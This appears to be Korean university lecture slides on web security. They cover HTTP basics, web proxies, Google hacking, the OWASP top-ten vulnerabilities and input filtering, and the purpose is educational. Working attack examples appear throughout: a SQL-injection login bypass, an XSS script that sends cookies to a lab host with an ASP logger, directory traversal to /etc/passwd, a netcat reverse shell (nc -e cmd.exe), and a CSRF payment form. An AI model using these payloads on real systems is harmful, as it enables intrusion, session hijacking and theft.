정보보안 CH4 웹 보안

웹에 대한 이해 HRRP에 대한 이해 웹 서비스에 대한 이해 웹 해킹에 대한 이해 웹의 주요 취약점 10가지 웹 취약점 보안

HTTP 프로토콜의 동작 원리를 이해한다. 구글과 같은 검색 엔진을 통해 정보를 수집하는 방법을 알아본다. 웹 해킹에서 파일 접근과 관련된 공격을 살펴본다. 리버스 텔넷을 이해한다. 웹에서의 인증의 구조와 이를 우회하는 방법을 알아본다. 패킷 변조를 통해 가능한 공격을 살펴본다. XSS 공격 및 SQL 삽입 공격을 살펴본다.

Ch4 웹 보안 웹에 대한 이해

01 웹에 대한 이해 1950년대, 메인프레임의 등장 IBM Dumb Terminal 현대식 메인프레임의 시초 : IBM System/360 (1954년)

01 웹에 대한 이해 Mainframe & Dumb Terminal의 연결

01 웹에 대한 이해 Packet의 개념 등장 Packet-Switching 개념의 등장 1960년대, RAND co.의 Paul Baran은 핵전쟁에서 생존 가능한 네트워크에 대한 연구 발표 정보는 “message-blocks”이라고 불리는 작은 조각으 로 나누어서 전달됨. Packet-Switching 개념의 등장 1966년, 영국의 Donald Davies는 MIT에서 전화선을 이용한 데이터 통신에서 네트워크 트래픽에 관심을 보 임. 1968년, Packet-Switching 을 발표 Paul Baran Donald Watts Davies

01 웹에 대한 이해 ARPANET 탄생 DARPA (Defense Advanced Research Projects Agency) 의 Robert Taylor는 Interconnected Networking System에 관심. 1969년 8월 29일, UCLA와 SRI간의 첫 번째 데이터 통신 성공 1969년 8월 5일, University of Utah와 University of California, Santa Barbara가 네트워크에 연결 "We set up a telephone connection between us and the guys at SRI ...", Kleinrock ... said in an interview: We typed the L and we asked on the phone, "Do you see the L?" "Yes, we see the L," came the response. We typed the O, and we asked, "Do you see the O." "Yes, we see the O." Then we typed the G, and the system crashed ... Yet a revolution had begun“… University of California, LA Stanford Research Institute

01 웹에 대한 이해 1981년, 미국 국립과학재단(NFS)이 컴퓨터과학망(CSNET)을 개발하면서 ARPANET으로 접속 1982년, TCP/IP 표준화 1983년, ARPANET과 MILNET으로 분리 1986년, NSF(National Science Foundation)의 슈퍼컴퓨터에 연결되는 56kbps 백본망인 NSFNET 등장

01 웹에 대한 이해 World Wide Web 전 세계에 흩어져 있는 정보를 공유하기 위한 목적으로 탄생 Hyper Text “다른 문서와 연관관계를 가지는 텍스트” Hyper Text를 이용하면 단어나 문구를 마우스로 클릭해서 관련 주제에 대한 정보로 연결됨. HTML(Hyper Text Markup Language)은 이 Hyper Text를 효과적으로 전달하기 위한 스크립트 언어. 웹 브라우저 1992년 모자이크 배포 하이퍼링크(Hyper Link) 최초 구현.

Ch4 웹 보안 HTTP

02 HTTP에 대한 이해 Hypertext Transfer Protocol Hypertext를 전달하기 위해 사용 가장 많이 쓰이는 버전 = HTTP 1.1 일반적으로 TCP를 사용하나 UDP도 사용 기본 포트는 80번 (변경가능) Unix 에서는 8080번도 자주 사용 root가 아닌 경우 1000번 이하에 대한 권한이 없음 HTTPS는 443번

02 HTTP에 대한 이해 HTTP 프로토콜 HTTP 0.9의 연결과 종료 최초 0.9 버전은 서버로부터의 단순 읽기 기능만 지원. 0.9 버전은 하나의 웹 페이지 안에서 도 텍스트와 그림마다 Connect 과 정을 반복해서 거쳐야 했기 때문에 무척 비효율적임. 기본적으로 Connectionless Protocol (연결과 종료를 반복) HTTP 0.9의 연결과 종료

02 HTTP에 대한 이해 Cookie HTTP는 이전에 전달한 request/response를 기억하지 못함. Client Web Server Response 1 Request 2 Response 2 How to maintain state ? Cookie

02 HTTP에 대한 이해 HTTP Request “웹 서버에 데이터를 요청하거나 전송할 때 보내는 패킷” GET URL에 해당하는 자료 전송을 요청 가장 일반적인 HTTP Request 형태 게시판 목록이나 글 보기 화면은 접근 자유도를 위해 GET 방식 사용 GET 서버가 처리할 수 있는 자료를 전달 인수 값을 URL을 통해 전송하지 않으므로 다른 이가 링크를 통해 해당 페이지를 볼 수 없음. 파일 업로드는 POST 방식으로만 할 수 있음 데이터가 URL을 통해서 노출되지 않음  최소한의 보안성 글의 저장/수정/삭제 및 데이터 전송은 POST 방식 POST

02 HTTP에 대한 이해 HEAD PUT DELETE TRACE OPTIONS CONNECT GET 과 같은 요청이나 자료에 대한 정보만을 받음 PUT 해당 URL에 자료를 저장 DELETE 해당 URL의 자료를 삭제 TRACE 이전에 요청한 내용을 들을 것을 요청 OPTIONS 서버가 특정 URL에 대해 어떠한 HTTP method를 지원하는지 질문 CONNECT 프록시가 사용하는 요청

02 HTTP에 대한 이해

02 HTTP에 대한 이해

02 HTTP에 대한 이해 HTTP Response 클라이언트의 Request에 대한 응답 패킷. 헤더 정보 뒤에는 실제 데이터(HTML이나 그림 파일)가 전달됨. 데이터 전달이 끝나면 서버는 연결을 끊음. 실행 결과 코드 내용 설명 100번대 정보 전송 “Request 받음, 서버가 작업을 진행중임＂ 200번대 성공 “Request가 성공적으로 received, understood, accepted and serviced” 300번대 Redirection Request를 처리를 끝내기 위해서는 추가적인 동작이 수행되어야 함. 400번대 Client Error Request의 syntax가 오류이거나 이해할 수 없는 경우 500번대 Server Error 서버에서 발생된 오류 상황이나 요구 사항을 제대로 처리할 수 없을 때 HTTP Response의 주요 실행 결과 코드

02 HTTP에 대한 이해 200 OK: The request is fulfilled. 400 Bad Request: Server could not understand the request (syntax error). 404 Not Found: The requested resource cannot be found in the server. 500 Internal Server Error: Server is error in the server-side program responding to the request. 503 Service Unavailable: Server cannot response due to overloading or maintenance. The client can try again later.

02 HTTP에 대한 이해 GET request를 이용한 연결 1 2 3 4 connect Request : GET www.homepage.com HTTP/1.1 Response : HTTP/1.1 200 OK Retrieve Data form Disk close 1 2 3 4 Client Web Server

02 HTTP에 대한 이해 TCP에서 GET request의 전송 URL GET Request Response Retrieve Data form Disk close Client Web Server (Ex. Apache, IIS) Connect SYN SYN/ACK ACK HTTP TCP

Ch4 웹 보안 웹 서비스

03 웹 서비스에 대한 이해 HTML 정적 웹 페이지 서비스 가장 단순한 형태의 웹 언어. 정적 웹 페이지 (Static) 웹 서버에 HTML 문서를 저장하고 있다가 클라이언 트가 특정 HTML 페이지를 요청하면 해당 HTML 문 서를 클라이언트로 전송해줌. 클라이언트의 웹 브라우저를 통해 웹 서버의 무엇인가 를 바꿀 수 있는 가능성이 매우 낮기 때문에 웹을 이용 한 공격이 매우 어려움.

03 웹 서비스에 대한 이해 SSS(Server Side Script) ASP나 JSP와 같은 동적인 페이지를 제공하는 스크립트 스크립트에 HTML 확장자 대신 ASP 또는 JSP의 확장자를 가진 웹 문서를 요청 ASP는 DLL이나 OCX 같은 파일을 이용해, JSP는 서블릿을 이용해 요청을 처리. 그 결과를 HTML 파일로 만들어 클라이언트에 전송. 동적 웹 페이지 서비스

03 웹 서비스에 대한 이해 CSS(Client Side Script) 웹 서비스에 이용되는 스크립트 : JavaScript, Visual Basic Script 이들은 서버가 아닌 클라이언트 측의 웹 브라우저에 의해 해석되고 적용됨. CSS 웹 페이지의 클라이언트 동작

Ch4 웹 보안 웹 해킹

04 웹 해킹에 대한 이해 웹 취약점 스캐너를 통한 정보 수집 장점 : 빠른 시간 내에 다양한 접속 시도를 수행할 수 있음. 단점 : 웹 구조를 파악하고 취약점을 수집하 기가 쉽지 않음. https://www.acunetix.com/ Acunetix 웹 취약점 스캐너

04 웹 해킹에 대한 이해 Http://ffproxy.pw

04 웹 해킹에 대한 이해 웹 프록시를 통한 취약점 분석 웹 프록시의 동작 구조 웹 프록시는 클라이언트가 웹 서버와 웹 브라우저 간에 전달되는 모든 HTTP 패킷을 웹 프록시를 통해서 확인하면서 수 정하는 것이 가능. 웹 프록시의 동작 구조

04 웹 해킹에 대한 이해 Paros A Java based HTTP/HTTPS proxy for assessing web application vulnerability. It supports editing/viewing HTTP messages on-the-fly.

웹 프록시의 설정 : [LAN 설정]-[프록시 서버] 04 웹 해킹에 대한 이해 웹 프록시를 통한 취약점 분석 웹 프록시로 burp suite 사용 Http://portwigger.net/burp/ [도구]-[인터넷 옵션]-[연결]-[LAN 설정]에서 프록시 서버를 다음과 같이 설정해주어야 함. 루프백(Loopback) 주소설정 : 127.0.0.1 웹 프록시 프로그램의 서비스 포트 설정 : 8080 웹 프록시의 설정 : [LAN 설정]-[프록시 서버]

04 웹 해킹에 대한 이해 서버에서 클라이언트로 전송되는 패킷 변조 클라이언트에 해킹하고자 하는 대상이 있는 경우 웹 브라우저 내용만 바꾸었지만 실제로는 Active X 등의 형태로 여러 프로그램이 클라이언트에 설치되 어 웹 서비스를 제공하는 경우가 많음. 이때 클라이언트에 설치된 서비스 프로그램을 속이 는 것이 가능 서버에서 클라이언트에 정보를 전송했다가 이를 다시 전송받아 처리하는 경우 예를 들면 서버에서 변수 A의 값이 20임을 확인하고 이 값을 클라이언트에 전송 그리고 서버는 전송한 변수 A가 필요할 때 자신의 데이터베이스에서 다시 읽지 않고, 클라이언트가 관 련 서비스 수행할 때 서버에 다시 전송해주는 A 값 을 참조하여 서비스를 수행하는 경우 클라이언트에 전송한 변수 값을 서버가 참조

04 웹 해킹에 대한 이해 서버에서 클라이언트로 전송되는 패킷 변조 2단계에서 A=40이라고 바꾸어 전송하면 A 값이 다음과 같이 흘러감. [그림 4-21] 클라이언트에 변조하여 전송한 변수 값을 서버가 참조

04 웹 해킹에 대한 이해 서버에서 클라이언트로 전송되는 패킷 변조 ‘테스트1입니다.’의 글을 조회하는 과정에서 HTTP 패 킷을 웹 프록시에서 확인해보자. 해당 글에 대한 인수값(num=1)이 전달되는 것을 확 인할 수 있음. GET을 통해서 게시판의 첫 번째 글 /bbs/board_view.asp?num=1을 보여줄 것을 서버에 요청 num 값을 2로 바꾸어 전송 [그림 4-23] 서버에서 클라이언트로 전송되는 패킷 [그림 4-24] 서버에서 클라이언트로 전송되는 패킷 변조

04 웹 해킹에 대한 이해 클라이언트에서 서버로 전송되는 패킷 변조 패킷을 보내면 2번 글이 다음과 같이 조회되는 것을 확인할 수 있음. 클라이언트에서 서버로 전송되는 패킷을 변조하는 것 은 일반적인 웹 서비스의 메뉴상 접속할 수 없는 것에 접근하거나 특정한 값을 넣어 시스템의 오작동을 유도 하기 위한 목적으로 사용. [그림 4-25] 변경된 본문 내용

04 웹 해킹에 대한 이해 구글 해킹을 통한 정보 수집 많은 정보를 수집하기 위해서는 검색 엔진을 이용하면 유용 검색 엔진 중에는 구글이 많이 사용됨. [표 4-2] 구글에서 제공하는 고급 검색 기능 검색 인자 설명 검색 추가 인자 site 특정 도메인으로 지정한 사이트에서 검색하려는 문자열이 포함된 사이트를 찾음 YES filetype 특정한 파일 유형에 한해서 검색하는 문자가 들어 있는 사이트를 찾음 link 링크로 검색하는 문자가 들어 있는 사이트를 찾음 NO cache 특정 검색어에 해당하는 캐시된 페이지를 보여줌 intitle 페이지의 제목에 검색하는 문자가 들어 있는 사이트를 찾음 inurl 페이지의 URL에 검색하는 문자가 들어 있는 사이트를 찾음

04 웹 해킹에 대한 이해 구글 해킹을 통한 정보 수집 site:wishfree.com admin 주요 검색 인자 site : 특정 사이트만을 집중적으로 선정해서 검색할 때 유용 wishfree.com 도메인이 있는 페이지에서 admin 문 자열을 찾으라는 예 filetype : 특정 파일 유형에 대해 검색할 때 사용한 다. 파일 확장자가 txt이고 패스워드라는 문자열이 들어 간 파일을 검색한 화면 site:wishfree.com admin filetype:txt 패스워드 [그림 4-26] filetype 기능의 예제 결과

04 웹 해킹에 대한 이해 구글 해킹을 통한 정보 수집 intitle:index.of admin 주요 검색 인자 [그림 4-27] 디렉터리 리스팅이 가능한 사이트 검색

04 웹 해킹에 대한 이해 구글 해킹을 통한 정보 수집 검색 엔진의 검색을 피하는 방법 가장 일반적인 대응법 : 웹 서버의 홈 디렉터리에 robots.txt 파일을 만들어 검색할 수 없게 만듦. http://www.wishfree.com/robots.txt 파일이 있으면 구글 검색 엔진은 robots.txt에 있는 디렉토리는 검 색하지 않음. robots.txt 파일은 Useragent와 Disallow를 이용 User-agent는 구글 검색 엔진으로부터의 검색을 막 기 위해서 다음과 같이 사용. User-agent: googlebot → 구글 검색 엔진의 검색을 막는다. User-agent: * → 모든 검색 로봇의 검색을 막는다. Disallow: dbconn.ini → dbconn.ini 파일을 검색하지 못하게 한다. Disallow: /admin/ → admin 디렉터리에 접근하지 못하게 한다.

04 웹 해킹에 대한 이해 구글 해킹을 통한 정보 수집 검색 엔진의 검색을 피하는 방법 미국 백악관에서 실제로 사용하는 robot.txt 파일의 내용을 살펴보는 것도 좋음. http://www.whitehouse.gov/robots.txt [그림 4-28] www.whitehouse.gov/robots.txt의 내용

Ch4 웹 보안 웹의 주요 취약점

05 웹의 주요 취약점 10가지 OWASP 국제웹보안표준기구 OWASP(The Open Web Application Security Project) 해마다 웹 관련 상위 10개의 주요 취약점을 발표 [그림 4-29] OWASP 사이트

05 웹의 주요 취약점 10가지 명령 삽입 취약점 member 테이블 조회 왼쪽에는 지금까지 우리가 이용한 서버의 데이터베 이스 목록이 보임. 마지막에 웹 서버와 연동되는 web이라는 데이터베 이스가 위치 사용자 정보 테이블인 member 테이블의 정보를 확 인하면 wishfree라는 계정이 qwer1234라는 패스워 드로 존재 select * from [web].[dbo].[member]; [그림 4-30] MS-SQL 2008에서 member 테이블 조회

05 웹의 주요 취약점 10가지 명령 삽입 취약점 특정 사용자에 대해 아이디 목록을 조회 select user_id from [web].[dbo].[member] where user_id ='wishfree'; [그림 4-31] member 테이블에서 wishfree ID 조회

05 웹의 주요 취약점 10가지 명령 삽입 취약점 웹에서 사용자가 ID와 패스워드 입력창에 자신의 ID와 패스워드를 입력하면 아래와 같은 SQL문이 작성되어 데이터베 이스에 전송됨. 입력된 ID와 패스워드가 동일한 계정이 있으면 아래의 결과창에 해당 ID(wishfree)가 출력됨. select user_id from [web].[dbo].[member] where user_id ='입력된 아이디' AND user_pw='입력된 패스워드' select user_id from [web].[dbo].[member] where user_id ='wishfree' AND user_pw='qwer1234' [그림 4-32] user_id, user_pw를 조건으로 입력하고 member 테이블 조회

05 웹의 주요 취약점 10가지 명령 삽입 취약점 잘못된 패스워드 입력 select user_id from [web].[dbo].[member] where user_id ='wishfree' AND user_pw='qwer' [그림 4-33] 잘못된 user_pw를 조건으로 입력하고 member 테이블 조회

05 웹의 주요 취약점 10가지 명령 삽입 취약점 실제 웹 소스의 로그인 처리 부분 SQL 삽입 공격은 어떤 수단을 쓰든 SQL의 결과값이 NULL이 나오지 않게, 즉 출력값이 사용자 ID가 되도 록하여 로그인하는 것. 조건값에 ' or ''='을 입력하면 where로 입력되는 조 건문을 항상 참으로 만들 수 있음. Query = "SELECT user_id FROM member WHERE user_id = '"&strUser_id&“ ' AND password = ‘ '&strPassword&" ' " strAuthCheck = GetQueryResult(Query) If strAuthCheck = " " then boolAuthenticated = False Else boolAuthenticated = True EndIf [그림 4-34] 인증 우회를 위한 SQL 삽입 공격이 적용된 SQL 쿼리

05 웹의 주요 취약점 10가지 명령 삽입 취약점 SQL 삽입 공격 확인 SELECT user_id FROM [web].[dbo].[member] WHERE user_id = '' or ''='' AND user_pw = '' or ''='' [그림 4-35] user_id, user_pw에 ‘or’’=‘을 입력하고 member 테이블 조회

05 웹의 주요 취약점 10가지 명령 삽입 취약점 웹에서 SQL 삽입 공격시(‘or “=‘ 입력) 웹에서 잘못된 ID와 패스워드 입력시 웹에서 SQL 삽입 공격시(‘or “=‘ 입력) SQL 삽입 공격에 사용되는 SQL문은 무엇이라도 SQL 삽입 공격에 사용될 수 있음. SQL 삽입 공격은 로그인뿐만 아니라 웹에서 사용자 의 입력 값을 받아 데이터베이스에 SQL문으로 데이 터를 요청하는 모든 곳에 가능 [그림 4-36] 잘못된 ID와 패스워드를 이용한 로그인 시도 [그림 4-38] 로그인 성공

05 웹의 주요 취약점 10가지 XSS 취약점 XSS(Cross Site Scripting)는 공격자에 의해 작성된 스크립트가 다른 사용자에게 전달되는 것. 다른 사용자의 웹 브라우저 내에서 적절한 검증 없이 실행 사용자의 세션을 탈취하거나, 웹 사이트를 변조하거나 혹은 악의적인 사이트로 사용자를 이동시킬 수 있음. 임의의 XSS 취약점이 존재하는 서버에 XSS 코드를 작성하여 저장 일반적으로 공격자는 임의의 사용자 또는 특정인이 이용하는 게시판을 이용 해당 웹 서비스 사용자가 공격자가 작성해놓은 XSS 코드에 접근 사용자는 본인이 공격자가 작성해놓은 XSS 코드에 접근하는 것을 인지하지 못함. 웹 서버는 사용자가 접근한 XSS 코드가 포함된 게시판의 글을 사용자에게 전달 사용자 시스템에서 XSS 코드가 실행 XSS 코드가 실행된 결과가 공격자에게 전달되고 공격자는 공격을 종료 [그림 4-39] XSS 공격의 구조

05 웹의 주요 취약점 10가지 XSS 취약점 XSS가 포함된 글을 게시판에 올려 해당 글을 읽는 사용자의 쿠키 값을 획득 쿠키 값을 획득하기 위한 간단한 코드(GetCookie.asp)를 미리 만듦. GetCookie.asp <% testfile=server.MapPath("GetCookie.txt") cookie=request("cookie") set fs=server.CreateObject("Scripting.FileSystemObject") set thisfile=fs.openTextFile(testfile,8,true,0) thisfile.writeline(""&cookie&"") thisfile.close set fs=nothing %>

05 웹의 주요 취약점 10가지 XSS 취약점 XSS 공격용 스크립트를 작성 사용된 XSS 코드 <script>location.href="http://192.168.137.128/XSS/GetCookie.asp?cookie="+document.cookie</script>

05 웹의 주요 취약점 10가지 XSS 취약점 게시판을 열람할 때 웹 서버(192.168.137.128)로 현재 해당 문서를 읽는 사용자의 쿠키 값을 전달 업로드된 글을 사용자가 읽으면 화면상에 아무것도 나타나지 않음. 공격자는 이미 피해자의 쿠키를 확보하여 해당 웹 페이지에 접속함. [그림 4-41] XSS 코드가 포함된 글 열람 [그림 4-42] 피해자로부터 전달받은 쿠키

05 웹의 주요 취약점 10가지 XSS 취약점 해당 게시판의 XSS 공격의 취약성 여부는 다음과 같은 간단한 XSS 코드를 게시판에 입력해보고 해당 게시판의 글을 열 람해보면 확인할 수 있음. <script>alert(document.cookie)</script> [그림 4-43] XXS 취약점 확인

05 웹의 주요 취약점 10가지 취약한 인증 및 세션 관리 취약한 패스워드 설정 취약한 인증의 가장 기본적인 문제점은 패스워드 설 정 사용자 측 데이터를 이용한 인증 최초 인증 과정은 정상적인 아이디와 패스워드의 입 력으로 시작 웹 서버에서 해당 아이디와 패스워드가 올바른 경우 접속 인증을 해줌. 인증 값으로 쿠키와 같은 세션 값을 넘겨줌. 정상적인 인 증 [그림 4-44] 사용자 측 데이터를 이용한 인증 과정 1단계 [그림 4-45] 사용자 측 데이터를 이용한 인증 과정 2단계

05 웹의 주요 취약점 10가지 취약한 인증 및 세션 관리 사용자 측 데이터를 이용한 인증 웹 서버는 공격자가 새로운 페이지에 접근할 때 수 신한 인증 허용 값을 전달받으면서 해당 세션이 유 효한 인증인지 확인 이때 공격자가 전달해주는 값(아이디 및 사용자 고유번호 등)을 이용해 해당 인증의 소유자(Identity)를 구분 공격자는 세션 인증 값은 그대로 사용하고 UserNo 값만 변경함으로써 다른 계정으로 로그인한 것처럼 웹 서비스를 이용할 수 있음. [그림 4-46] 사용자 측 데이터를 이용한 인증 과정 3단계 [그림 4-47] 사용자 측 데이터를 이용한 인증 취약점 공격

05 웹의 주요 취약점 10가지 직접 객체 참조 디렉터리 탐색 디렉터리 탐색(Directory Traversal)은 웹 브라우저에서 확인 가능한 경로의 상위로 탐색하여 특정 시스템 파일을 다운 로드하는 공격 방법 자료실에 올라간 파일을 다운로드할 때 전용 다운로드 프로그램이 파일을 가져오는데, 이때 파일 이름을 필터링하지 않아서 발생하 는 취약점 게시판 등에서 첨부파일을 다운로드할 때 다음과 같이 down.jsp 형태의 SSS를 주로 사용 게시판에서 글 목록을 보여주는 list.jsp 파일이 http://www.wishfree.com/ board에 위치한다면 주소창에 다음과 같이 입력하여 다운로드 가능. http://www.wishfree.com/board/download.jsp?filename=사업계획.hwp http://www.wishfree.com/board/download.jsp?filename=../list.jsp

05 웹의 주요 취약점 10가지 직접 객체 참조 디렉터리 탐색 파일 시스템에서‘.’은 현재 디렉토리를, ‘..’ 은 상위 디렉토리를 의미 공격자가 filename 변수에‘../list.jsp’ 입력 다운로드가 기본적으로 접근하는 /board/upload 디렉토리의 바로 상위 디렉 토리에서 list.jsp를 다운로드하라는 의미 [그림 4-48] ..을 이용한 임의 디렉터리 파일 다운로드

05 웹의 주요 취약점 10가지 직접 객체 참조 디렉터리 탐색 /board/admin 디렉토리에 있는 adminlogin.jsp를 다운로드하려면 다음과 같이 입력. download.jsp 파일 자신도 다음과 같이 다운로드할 수 있음. 시스템 내부의 중요 파일도 위와 같은 방법으로 다운로드를 시도 유닉스 시스템의 경우 /etc/passwd와 같이 사용자 계정과 관련된 중요 파일을 다음과 같은 형태로 시도해볼 수 있음. http://www.wishfree.com/board/download.jsp?filename=../admin/adminlogin.jsp http://www.wishfree.com/board/download.jsp?filename=../download.jsp http://www.wishfree.com/board/download.jsp?filename=../../../../../../../etc/passwd

05 웹의 주요 취약점 10가지 직접 객체 참조 파일 업로드 제한 부재 클라이언트에서 서버 측으로 임의의 파일을 보낼 수 있는 취약점은 웹 서버가 가질 수 있는 가장 치명적인 취약점 공격자는 웹 서버에 악의적인 파일을 전송하고, 원격지에서 해당 파일을 실행하여 웹 서버를 장악하며 추가적인 내부 침투 공격을 수행할 수 있게 되기 때문. 웹 해킹의 최종 목표인 리버스 텔넷과 같은 웹 서버의 통제권을 얻기 위해 반드시 성공해야 하는 공격 이런 취약점이 존재하는 가장 일반적인 형태는 게시판 게시판에 첨부파일로 악의적인 파일을 업로드하고 실행시키는 것 이때 첨부파일로 업로드하는 악성코드는 대부분 웹 쉘 [그림 4-49] 웹 쉘 업로드 후 수행

05 웹의 주요 취약점 10가지 직접 객체 참조 리버스 텔넷 웹 해킹을 통해 시스템의 권한을 획득한 후 해당 시스템에 텔넷과 같이 직접 명령을 입력하고 확인할 수 있는 쉘을 획 득하기 위한 방법 방화벽이 존재하는 시스템을 공격할 때 자주 사용 일반적으로 웹 서버는 방화벽 내부에 존재하고 웹 서버는 80번 포트를 이용한 웹 서비스만 제공하면 되기 때문에, 방 화벽은 외부 인터넷을 사용하는 사용자에 대해 80포트만을 허용. 이런 경우 웹 서버의 텔넷(Telnet)이 열려있어도 방화벽으로 인해 공격자가 외부에서 접근할 수 없음. [그림 4-50] 외부로부터 차단된 텔넷 접속

05 웹의 주요 취약점 10가지 직접 객체 참조 리버스 텔넷 심화된 공격을 하기 위해서는 텔넷과 유사한 접근 권한을 획득하는 것이 매우 중요. 방화벽에서 인바운드 정책(외부에서 방화벽 내부로 들어오는 패킷에 대한 정책)은 80번 포트 외에 필요한 포트만 빼 고 다 막아 놓지만 아웃바운드 정책(내부에서 외부로 나갈 때에 대한 정책)은 별다른 필터링을 수행하지 않는 경우가 많음. 리버스 텔넷은 이런 허점을 이용. [그림 4-51] 내부에서 외부로 허용된 텔넷 접속

05 웹의 주요 취약점 10가지 직접 객체 참조 리버스 텔넷 nc -l -p 80 명령창 획득 : 파일 업로드 등을 통해 공격자가 명령을 입 력할 수 있는 명령창을 획득 리버스 텔넷용 툴 업로드 : nc와 같은 리버스 텔넷용 툴을 서버 게시판의 파일 업로드 기능을 이용해 업로드 공격자 PC 리버스 텔넷 데몬 활성화 : 서버에서 리버스 텔 넷을 보내면 이를 받아 텔넷을 열 수 있도록 다음과 같이 리버스 텔넷 툴을 실행시킴. [그림 4-52] nc 툴의 업로드 [그림 4-53] 공격자 PC에서 리버스 텔넷 데몬 활성화 nc -l -p 80

05 웹의 주요 취약점 10가지 직접 객체 참조 리버스 텔넷 획득한 명령창을 통해 공격자에게 리버스 텔넷을 보내준 다. 업로드한 nc 파일이 위치한 전체 경로를 입력해줘야 함. 이때 공격자 IP는 192.168.137.1 리버스 텔넷 창 획득 c:\inetpub\wwwroot\bbs\upload\nc -e cmd.exe [공격자 IP] 80 [그림 4-54] 웹 서버에서 공격자 PC에 리버스 텔넷 접속 요청 전송 [그림 4-55] 웹 서버에 리버스 텔넷 연결 성공

05 웹의 주요 취약점 10가지 직접 객체 참조 리버스 텔넷 IP가 웹 서버의 192.168.137.132로 바뀐 것 확인

05 웹의 주요 취약점 10가지 직접 객체 참조 리버스 텔넷 리버스 텔넷 예 리버스 텔넷 예방법 파일 업로드를 먼저 막아야 함. asp뿐만 아니라 리버스 텔넷 툴 같은 것을 실행하지 못하도록 exe나 com 같은 실행 파일도 업로드를 못하게 해야 함. 외부에서 내부로의 접속뿐만 아니라 내부에서 외부로의 불필요한 접속도 방화벽으로 막는 것이 좋음. [그림 4-57] 리버스 텔넷의 예

05 웹의 주요 취약점 10가지 CSRF 취약점 CSRF(Cross Site Request Forgery)는 특정 사용자를 대상으로 하지 않고, 불특정 다수를 대상으로 로그인 된 사용자가 자신의 의지와는 무관하게 공격자가 의도 한 행위(수정, 삭제, 등록, 송금 등)를 하게 만드는 공격 CSRF 공격을 이용하면 공격자는 특정 물품을 구매하 여 장바구니에 넣어두고, 해당 물품에 대한 결재를 다 른 이를 통해 다음과 같은 형태로 수행할 수도 있음. CSRF가 성립하려면 수정수정·삭제·등록하는 액션에서 사용자를 구분하는 파라메터 값이 존재하지 않아야 함. 특정한 사용자를 구분하는 인수가 있으면 하나의 사 용자에게만 적용되거나 인증 과정을 통해 CSRF 공 격을 막을 수 있음. [그림 4-58] CSRF 공격의 구조 <body onload = "document.csrf.submin()"> <form name="csrf" action="http://www.shop.co.kr/malladmin/order/order.jsp" method="POST"> <input type="hidden" name="uid" value="wishfree"> <input type="hidden" name="mode" value="pay_for_order"> <input type="hiddne" name="amount" value="10000"> </form>

05 웹의 주요 취약점 10가지 보안 설정 취약점 디렉터리 리스팅 웹 브라우저에서 웹 서버의 특정 디렉터리를 열면 그 디렉 터리에 있는 파일과 목록이 모두 나열되는 것 백업 및 임시 파일 존재 웹 서버에 백업 파일이나 임시 파일들을 삭제하지 않은 채 방치할 경우 공격자가 이 파일들을 발견 시 웹 어플리케이션의 내부 로직 및 데 이터베이스 접속 정보 등 중요한 정보를 획득할 수 있음. 주석 관리 미흡 일반적으로 프로그램의 주석은 개발자만 볼 수 있으나, 웹 어플리케이션은 웹 프록시를 통해 이용자도 볼 수 있음. 주석에는 개발 과정이나 웹 어플리케이션의 관리 목적으로 주요 로 직에 대한 설명, 디렉터리 구조, 테스트 소스 정보, 등의 여러 가지 정보가 기록될 수 있으니 개발 시 주석에 기록되는 정보를 주의 [그림 4-59] 디렉터리 리스팅의 예

05 웹의 주요 취약점 10가지 취약한 정보 저장 방식 URL 접근 제한 실패 개인정보 유출의 중요한 원인은 웹 취약점뿐만 아니라, 많은 웹 어플리케이션이 신용카드번호, 주민등록번호, 그리고 인증신뢰정보와 같은 민감한 데이터를 보 호하지 않기 때문. 보호하려는 데이터의 중요도에 따라 암호화 로직을 사용하고, 데이터베이스 테이블 단위에서 암호화를 수행해야 함. URL 접근 제한 실패 관리자 페이지나 인증이 필요한 페이지에 대한 인증 미처리로 인해 인증을 우회하여 접속할 수 있게 됨. 이 취약점에 노출되면 일반 사용자나 로그인하지않은 사용자가 관리자 페이지에 접근하여 관리자 권한의 기능을 악용할 수 있음. 인증우회의 예 관리자로 로그인해서 관리자용 웹 페이지에 접속할 수 있어야 하는데, 로그인을 하지 않고도 관리자용 웹 페이지에서 특정 작업을 직접 수행할 수 있는 것 www.wishfree.com/admin/login.asp를 통해 관리자로 로그인한 후에야 www.wishfree.com/admin/boardadmin.asp에 접근할 수 있어야 하는데, 관리자로 로 그인 하지 않은 채로 www.wishfree.com/admin/boardadmin.asp에 바로 접근해 게시판을 관리하는 경우. 인증우회의 보안책 인증 우회를 막기 위해서는 웹에 존재하는 중요 페이지에 세션값(쿠키)을 확인하도록 검증로직을 입력함.

05 웹의 주요 취약점 10가지 인증 시 비암호화 채널 사용 부적절한 오류 처리 최근에는 인터넷뱅킹과 같이 보안성이 중요한 시스템에서는 웹 트래픽을 암호화함. 이때 사용되는 암호화 알고리즘이 약하거나 암호화하는 구조에 문제가 있다면 웹 트래픽은 복호화되거나 위변조될 수 있음. 부적절한 오류 처리 웹 페이지를 이용하다 보면 자동으로 다른 페이지로 리다이렉트(Redirect)하거나 포워드(Forward)하는 경우가 종종 발 생 이때 목적 페이지에 리다이렉트하기 위해 신뢰되지 않은 데이터를 사용할 경우 적절한 확인 절차가 없으면 공격자는 피 해자를 피싱 사이트나 악의적인 사이트로 리다이렉트할 수 있고, 권한 없는 페이지의 접근을 위해 사용할 수도 있음.

Ch4 웹 보안 웹의 취약점 보완

06 웹의 취약점 보완 특수문자 필터링 웹 해킹의 가장 기본적인 형태 중 하나인 인수 조작 인수 조작은 예외적인 실행을 유발시키기 위해 일반 적으로 특수문자를 포함하게 되어 있음. [표 4-3] 필터링 대상 주요 특수문자 주요 특수 문자 주요 관련 공격 < XSS > & “ ? ‘ XSS, SQL 삽입 공격 - - SQL 삽입 공격 = ; * . .. / XSS, 디렉터리 탐색

06 웹의 취약점 보완 특수문자 필터링 아이디와 패스워드를 넣는 부분에 ‘문자열을 입력받지 못하도록 ASP 코드를 수정 if check_id="y" then Response.Cookies("user_id")=id Response.Cookies("user_id").Expires = date() + 365 end if id = replace(id,"'","''") password = replace(password,"'","''") if instr(id,"'") or instr(password,"'")Then %> <script language=javascript> alert("입력할 수 없는 문자입니다.\n\n"); history.back(); </script> [그림 4-60] 사용자의 입력을 필터링한 후 SQL 삽입 공격 실패

